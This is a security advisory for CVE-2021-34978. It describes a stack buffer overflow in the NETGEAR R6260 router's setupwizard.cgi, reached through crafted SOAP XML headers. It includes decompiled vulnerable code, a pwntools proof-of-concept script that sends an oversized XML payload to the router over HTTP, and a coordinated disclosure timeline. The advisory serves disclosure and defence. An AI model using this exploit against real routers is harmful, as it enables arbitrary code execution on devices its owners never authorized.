CVE: CVE-2021-34978

Tested Versions:

  • NETGEAR R6260 V1.1.0.78_1.0.1

Product URL(s):

Description of the vulnerability

This vulnerability allows for an attacker with LAN access to a NETGEAR R6260 router to execute arbitrary code. This was tested on the latest firmware available for the router, V1.1.0.78_1.0.1 at the point of writing.

When setupwizard.cgi is executed via a HTTP SOAP request, specially crafted SOAP-ENV headers will cause strncpy() to produce unterminated strings in analyse_XML_namespace(). A subsequent sprintf() call in the same function will introduce a buffer overflow due to overlapping strings, allowing for instruction pointer control.

setupwizard.cgi is cgi binary which responsible to handle incoming HTTP request. In this binary, the function analyse_XML_namespace (defined at address 0x40A39C) is used to parsed the xml in post data of HTTP request.

  int __fastcall analyse_XML_namespace(char* buf)
    node = 0;
    nodeName_rebuilt[0] = 0;
    memset(&nodeName_rebuilt[1], 0, 0x7Fu);
    err = ixmlParseBufferEx(buf, &node);
    if ( err )
      TRACE("%s: ixmlParseBufferEx fail\n", "analyse_XML_namespace");
      TRACE("ERROR CODE: %d\n", err);
      rtr = 0;
      child = (IXML_Node *)ixmlNode_getFirstChild(node);
      strncpy(namespaceURI, child->namespaceURI, 0x40u);          // <-- non terminated
      strncpy(nodeName, child->nodeName, 0x20u);                  // <-- non terminated
      strncpy(prefix, child->prefix, 0x10u);                      // <-- non terminated
      strncpy(localName, child->localName, 0x10u);                // <-- non terminated
      cmpURI = strncmp("", namespaceURI, 0x28u);
      rtr = 0;
      if ( !cmpURI )
        sprintf(nodeName_rebuilt, "%s:%s", prefix, localName);    // <-- stack overflow

This function call ixmlParseBufferEx and ixmlNode_getFirstChild functions to parse xml data, and then call strncpy to copy the namespaceURI, nodeName, prefix and localName of first child xml node to stack-based buffers. Notice that strncpy function didn’t terminated the destination string if the size of source string exceed the 3rd argument value. Therefore, we can craft a xml post data to create a long unterminated string and then a subsequent sprintf function call will lead to stack overflow.


from pwn import *
context.arch = 'mips'
context.endian = 'little'
context.log_level = 'debug'
soap_data = b"""<?xml version='1.0' encoding="UTF-8"?>
<aaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbb xmlns:aaaaaaaaaaaaaaaa="">
def send_SOAP() -> bytes:
    # Note that will not work here, because malformed HTTP headers will raise errors
    r = remote('', 80)
    def sl(s:bytes): r.send(s+b'\r\n')
    sl(b'POST / HTTP/1.1')
    sl(b'Accept: */*')
    sl(b'User-Agent: pwnt')
    sl(b'Cookie: =xxxx')
    #xml = XML.format(password)
    xml = soap_data
    sl(b'Content-Length: ' + str(len(xml)).encode())
    sl(b'Content-Type: application/x-www-form-urlencoded')
    return r.recvall()


  • 2021-03-22 - Reported via ZDI
  • 2021-06-16 - Vulnerability reported to vendor
  • 2021-10-28 - Coordinated public release of advisory